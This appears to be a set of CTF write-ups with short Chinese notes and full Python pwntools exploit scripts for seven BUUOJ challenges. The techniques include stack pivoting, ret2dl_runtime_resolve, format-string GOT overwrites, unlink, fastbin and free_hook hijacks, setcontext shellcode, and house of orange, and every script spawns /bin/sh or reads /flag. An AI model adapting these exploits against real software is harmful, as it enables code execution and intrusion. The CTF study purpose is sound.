actf_2019_babystack
典型的stack pivot,告诉了输入时候栈的地址,我们可以通过伪造ebp,通过两次leave将esp指向开始时候的栈地址。注意的是这里system("/bin/sh")有问题,换了one gadget才成功,不是很清楚为什么。
from pwn import *
context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]
#io = process("./pwn")
io = remote("node3.buuoj.cn", 25533)
e = ELF("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def debug(command=None):
if command:
gdb.attach(io, command)
else:
gdb.attach(io)
pop_rdi_ret = 0x400ad3
leave_ret = 0x400A18
io.recvuntil(">")
io.sendline(str(0xE0))
io.recvuntil("at ")
stack_addr = int(io.recvuntil("\n")[:-1], 16)
log.success("stack addr: "+hex(stack_addr))
payload = "a"*0x8
payload += p64(pop_rdi_ret)
payload += p64(e.got["puts"])
payload += p64(e.plt["puts"])
payload += p64(0x400800)
payload = payload.ljust(0xD0, "a")
payload += p64(stack_addr)
payload += p64(leave_ret)
io.send(payload)
io.recvuntil("Byebye~\n")
libc_address = u64(io.recv(6).ljust(8, "\x00")) - libc.symbols["puts"]
log.success("libc addr: "+hex(libc_address))
bin_sh_addr = libc_address + libc.search("/bin/sh").next()
system_addr = libc_address + libc.symbols["system"]
sleep(4)
io.recvuntil(">")
io.sendline(str(0xE0))
io.recvuntil("at ")
stack_addr = int(io.recvuntil("\n")[:-1], 16)
log.success("stack addr: "+hex(stack_addr))
#debug()
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
one_gadget = libc_address + 0x4f2c5
payload = "a"*0x8
payload += p64(one_gadget)
payload = payload.ljust(0xD0, "a")
payload += p64(stack_addr)
payload += p64(leave_ret)
io.send(payload)
io.interactive()
cscctf_2019_qual_babystack
栈溢出,并且没有write/puts函数,典型的ret2dl_runtime_resolve,借助roputils工具
from pwn import *
import roputils
context.log_level = "DEBUG"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]
io = remote("node3.buuoj.cn", 29286)
#io = process("./pwn")
e = ELF("./pwn")
def debug():
gdb.attach(io)
rop = roputils.ROP("./pwn")
bss_addr = rop.section(".bss")
log.success("bss addr:" + hex(bss_addr))
vul_func = 0x08048456
payload = "a"*20
payload += p32(e.plt["read"])
payload += p32(vul_func)
payload += p32(0x0)
payload += p32(bss_addr)
payload += p32(100)
io.send(payload)
payload = rop.string("/bin/sh")
payload += rop.fill(20, payload)
payload += rop.dl_resolve_data(bss_addr+20, "system")
payload += rop.fill(100, payload)
io.send(payload)
payload = "a"*20
payload += rop.dl_resolve_call(bss_addr+20, bss_addr)
io.send(payload)
io.interactive()
ciscn_2019_sw_1
printf格式化字符串漏洞实现无限循环
#coding=utf-8
from pwn import *
import roputils
context.log_level = "DEBUG"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]
io = remote("node3.buuoj.cn", 29296)
#io = process("./pwn")
e = ELF("./pwn")
fini = 0x804979C
main = 0x8048534
printf_got = 0x0804989C
system_plt = 0x080483D0
offset = 4
payload = p32(fini)
payload += p32(fini+2)
payload += p32(printf_got)
payload += p32(printf_got+2)
payload += "%" + str(0x8534-16) + "c%4$hn"
payload += "%" + str(0x10804-0x8534) + "c%5$hn"
payload += "%" + str(0x83D0-0x0804) + "c%6$hn"
payload += "%" + str(0x10804-0x83D0) + "c%7$hn"
print payload
io.send(payload)
sleep(0.2)
io.sendline("/bin/sh")
io.interactive()
jarvisoj_level6_x64
漏洞点在可以多次free,因为堆块均大于fastbin,所以利用unlink。
#coding=utf-8
from pwn import *
context.log_level = "DEBUG"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]
io = remote("node3.buuoj.cn", 27605)
#io = process("./pwn")
e = ELF("./pwn")
libc = ELF("libc-2.23.so")
# libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
gdb_script = '''
set $ptr=(void **)0x0804A2EC
define pr
x/20gx $ptr
end
'''
def debug(command=None):
if command:
gdb.attach(io, command)
else:
gdb.attach(io)
def list_note():
io.recvuntil("choice: ")
io.sendline("1")
def new(size, content):
io.recvuntil("choice: ")
io.sendline("2")
io.recvuntil("new note: ")
io.sendline(str(size))
io.recvuntil("your note: ")
io.send(content)
def edit(index, size, content):
io.recvuntil("choice: ")
io.sendline("3")
io.recvuntil("number: ")
io.sendline(str(index))
io.recvuntil("note: ")
io.sendline(str(size))
io.recvuntil("note: ")
io.send(content)
def delete(index):
io.recvuntil("choice: ")
io.sendline("4")
io.recvuntil("number: ")
io.sendline(str(index))
new(0x80, "a"*0x80) #0
new(0x80, "a"*0x80) #1
new(0x80, "a"*0x80) #2
new(0x80, "a"*0x80) #3
new(0x80, "a"*0x80) #4
delete(0)
delete(2)
new(4, "aaaa") #0
new(4, "aaaa") #1
#leak heap and libc
list_note()
io.recvuntil("0. aaaa")
heap_addr = u32(io.recv(4)) - 0xd28
io.recvuntil("2. aaaa")
malloc_hook = u32(io.recv(4)) - 0x30 - 0x18
libc_addr = malloc_hook - libc.symbols['__malloc_hook']
log.success("heap addr: " + hex(heap_addr))
log.success("libc addr: " + hex(libc_addr))
delete(0)
delete(1)
note0 = heap_addr + 0x18
payload = p32(0x0) #pre size
payload += p32(0x81) #size
payload += p32(note0-4*3) #fd
payload += p32(note0-4*2) #bk
payload = payload.ljust(0x80, "\x00")
payload += p32(0x80) #pre size
payload += p32(0x88) #size(inuse bit=0)
#unlink
new(len(payload), payload)
delete(1)h
payload = p32(0x2)
payload += p32(0x1)
payload += p32(0x4)
payload += p32(e.got["strtol"])
payload = payload.ljust(0x88, "\x00")
edit(0, 0x88, payload)
system_addr = libc_addr + libc.symbols["system"]
edit(0, 0x4, p32(system_addr))
#new(0x80, "/bin/sh\x00".ljust(0x80, "\x00"))
#debug()
io.sendline("/bin/sh")
io.interactive()
jarvisoj_itemboard
堆和栈溢出的结合
#coding=utf-8
from pwn import *
context.log_level = "DEBUG"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]
#io = remote("node3.buuoj.cn", 29472)
io = process("./pwn")
e = ELF("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
#libc = ELF("libc-2.23.so")
gdb_script = '''
set $ptr=(void **)$rebase(0x202080)
define pr
x/20gx ptr
end
'''
def debug(command=None):
if command:
gdb.attach(io, command)
else:
gdb.attach(io)
def add(name, size, description):
io.recvuntil("choose:\n")
io.sendline("1")
io.recvuntil("?\n")
io.send(name)
io.recvuntil("?\n")
io.sendline(str(size))
io.recvuntil("?\n")
io.send(description)
def show(index):
io.recvuntil("choose:\n")
io.sendline("3")
io.recvuntil("?\n")
io.sendline(str(index))
def delete(index):
io.recvuntil("choose:\n")
io.sendline("4")
io.recvuntil("?\n")
io.sendline(str(index))
#leak libc, heap
add("a\n", 0x80, "b\n") #0
add("a\n", 0x10, "b\n") #1
add("a\n", 0x80, "b\n") #2
add("a\n", 0x10, "b\n") #3
delete(0)
delete(2)
show(0)
io.recvuntil("Description:")
malloc_hook = u64(io.recv(6).ljust(8, "\x00")) - 88 - 0x10
libc_addr = malloc_hook - libc.symbols["__malloc_hook"]
log.success("libc addr: " + hex(libc_addr))
show(2)
io.recvuntil("Description:")
heap_addr = u64(io.recv(6).ljust(8, "\x00")) - 0x510
log.success("heap addr: " + hex(heap_addr))
pop_rdi_ret = libc_addr + 0x21102
bin_sh_addr = libc_addr + libc.search("/bin/sh").next()
system_addr = libc_addr + libc.symbols["system"]
free_hook= libc_addr + libc.symbols["__free_hook"]
log.success("system addr: " + hex(system_addr))
log.success("free_hook addr: " + hex(free_hook))
#stack overflow
add("a\n", 0x80, "b\n") #4
add("a\n", 0x80, "b\n") #5
add("a\n", 0x40, "a"*0x8+p64(free_hook)+"\n") #6
#debug("b *$rebase(0xCB1)")
payload = p64(system_addr)
payload += "a"*0x400
payload += p64(heap_addr+0x7c0)
add("/bin/sh\n", len(payload)+0x10, payload+"\n") #7
delete(7)
#debug()
io.interactive()
ciscn_2019_final_4
做了一种非预期解,控制free hook,直接走setcontext扩大控制流
#coding=utf-8
from pwn import *
#context.log_level = "DEBUG"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]
context.arch = "amd64"
#io = process("./pwn_patch")
io = remote("node3.buuoj.cn", 29771)
e = ELF("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
gdb_script = '''
b *0x400C11
set $ptr=(void **)0x6020c0
define pr
x/20gx $ptr
end
'''
def debug(command=None):
if command:
gdb.attach(io, command)
else:
gdb.attach(io)
def add(size, content):
io.recvuntil(">> ")
io.sendline("1")
io.recvuntil("size?\n")
io.sendline(str(size))
io.recvuntil("content?\n")
io.send(content)
def delete(index):
io.recvuntil(">> ")
io.sendline("2")
io.recvuntil("index ?\n")
io.sendline(str(index))
def show(index):
io.recvuntil(">> ")
io.sendline("3")
io.recvuntil("index ?\n")
io.sendline(str(index))
io.recvuntil("? \n")
io.sendline("coco")
# leak libc and heap
add(0x100, "a") #0
add(0x10, "a") #1
add(0x100, "a") #2
add(0x10, "a") #3
delete(2)
delete(0)
# fd->0->2->unsorted_bin
show(2)
malloc_hook = u64(io.recv(6).ljust(8, "\x00")) - 88 -0x10
libc_addr = malloc_hook - libc.symbols["__malloc_hook"]
log.success("libc addr: " + hex(libc_addr))
show(0)
heap_addr = u64(io.recvuntil("\n")[:-1].ljust(8, "\x00")) - 0xb0 - 0x80
log.success("heap addr: " + hex(heap_addr))
free_hook = libc_addr + libc.symbols["__free_hook"]
setcontext_gadget = libc_addr + 0x47b75
setcontext_ret = libc_addr + 0x47bbf
heap4_content_addr = heap_addr + 0x140
heap5_content_addr = heap_addr + 0x10
payload = "\x00"*0xa0 + p64(heap5_content_addr) + p64(setcontext_ret)
add(0x100, payload) #4
shellcode = """
mov rax, 0x67616c662f
push rax
mov rdi, 0
mov rsi, rsp
mov rdx, 0
mov rax, SYS_openat
syscall ;//openat(0, "/flag", 0)
mov rdi, rax
mov rsi, rsp
mov rdx, 0x100
mov rax, SYS_read
syscall ;//read(fp, rsp, 0x100)
mov rdi, 1
mov rsi, rsp
mov rdx, 0x100
mov rax, SYS_write
syscall ;//write(1, rsp, 0x100)
mov rax, SYS_exit
syscall ;//程序中stdout没有设置不缓冲,所以要exit来fflush stdout缓冲
"""
shellcode = asm(shellcode)
payload = p64(libc_addr + 0x21102) #pop rdi; ret
payload += p64(heap_addr)
payload += p64(libc_addr + 0x1150c9) #pop rdx; pop rsi; ret
payload += p64(0x7)
payload += p64(0x2000)
payload += p64(libc_addr + libc.symbols["mprotect"]) #mprotect(heap_addr, 0x3000, 7)
payload += p64(heap5_content_addr + 0x38)
payload += shellcode
add(0x100, payload) #5
# hijack free hook
add(0x68, "a") #6
add(0x68, "a") #7
delete(6)
delete(7)
delete(6)
malloc_hook_fake_chunk = malloc_hook - 0x23 + 0x18
add(0x68, p64(malloc_hook_fake_chunk)) #8
add(0x68, "a") #9
add(0x68, "a") #10
payload = "\x00"*0x1b
payload += p64(0)
payload += p64(0x71)*3
payload += p64(malloc_hook_fake_chunk+0x2b)
add(0x68, payload) #11
add(0x68, "\x00"*0x38+p64(free_hook-0xb58)) #12
for i in range(0, 17):
add(0x90, "a")
add(0x200, "\x00"*0xa8+p64(setcontext_gadget)) #30
#debug(gdb_script)
delete(4)
io.interactive()
houseoforange_hitcon_2016
#coding=utf-8
from pwn import *
context.log_level = "DEBUG"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]
context.arch = "amd64"
#io = process("./pwn")
io = remote("node3.buuoj.cn", 27266)
e = ELF("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
gdb_script = '''
set $ptr=(void **)$rebase(0x203068)
define pr
x/20gx $ptr
end
'''
def debug(command=None):
if command:
gdb.attach(io, command)
else:
gdb.attach(io)
def build(size, content):
io.recvuntil("choice : ")
io.sendline("1")
io.recvuntil("name :")
io.sendline(str(size))
io.recvuntil("Name :")
io.send(content)
io.recvuntil("Orange:")
io.sendline("1")
io.recvuntil("Orange:")
io.sendline("1")
def see():
io.recvuntil("choice : ")
io.sendline("2")
def upgrade(size, content):
io.recvuntil("choice : ")
io.sendline("3")
io.recvuntil("name :")
io.sendline(str(size))
io.recvuntil("Name:")
io.send(content)
io.recvuntil("Orange: ")
io.sendline("1")
io.recvuntil("Orange: ")
io.sendline("1")
build(0x30, "a")
payload = "a"*0x30
payload += p64(0x0)
payload += p64(0x21)
payload += p64(0x0)*2
payload += p64(0x0)
payload += p64(0xf81)
upgrade(len(payload), payload)
build(0x1000, "a") #top chunk进入unsorted bin
# leak libc
build(0x400, "a"*8)
see()
io.recvuntil("a"*8)
libc_addr = u64(io.recv(6).ljust(8, "\x00")) - 0x3c5188
log.success("libc addr: " + hex(libc_addr))
# leak heap
upgrade(16, "a"*16)
see()
io.recvuntil("a"*16)
heap_addr = u64(io.recvuntil("\n")[:-1].ljust(8, "\x00")) - 0xe0
log.success("heap addr: " + hex(heap_addr))
_IO_list_all = libc_addr + libc.symbols["_IO_list_all"]
system_addr = libc_addr + libc.symbols["system"]
payload = "a"*0x400
payload += p64(0x0)
payload += p64(0x21)
payload += p64(0x0)*2
fio = "/bin/sh\x00"
fio += p64(0x61)
fio += p64(0x0)
fio += p64(_IO_list_all-0x10)
fio += p64(0x0) # _IO_write_base
fio += p64(0x1) # _IO_write_ptr
fio = fio.ljust(0xc0, "\x00")
fio += p64(0x0) # _mode
fio += p64(0x0)
fio += p64(0x0)
fio += p64(heap_addr + 0x510 + len(fio) + 8) #vtable ptr
fio += p64(0x0) #fake vatable addr
fio += p64(0x0)
fio += p64(0x0)
fio += p64(system_addr)
payload += fio
upgrade(len(payload), payload)
#debug(gdb_script)
io.recvuntil("choice : ")
io.sendline("1")
io.interactive()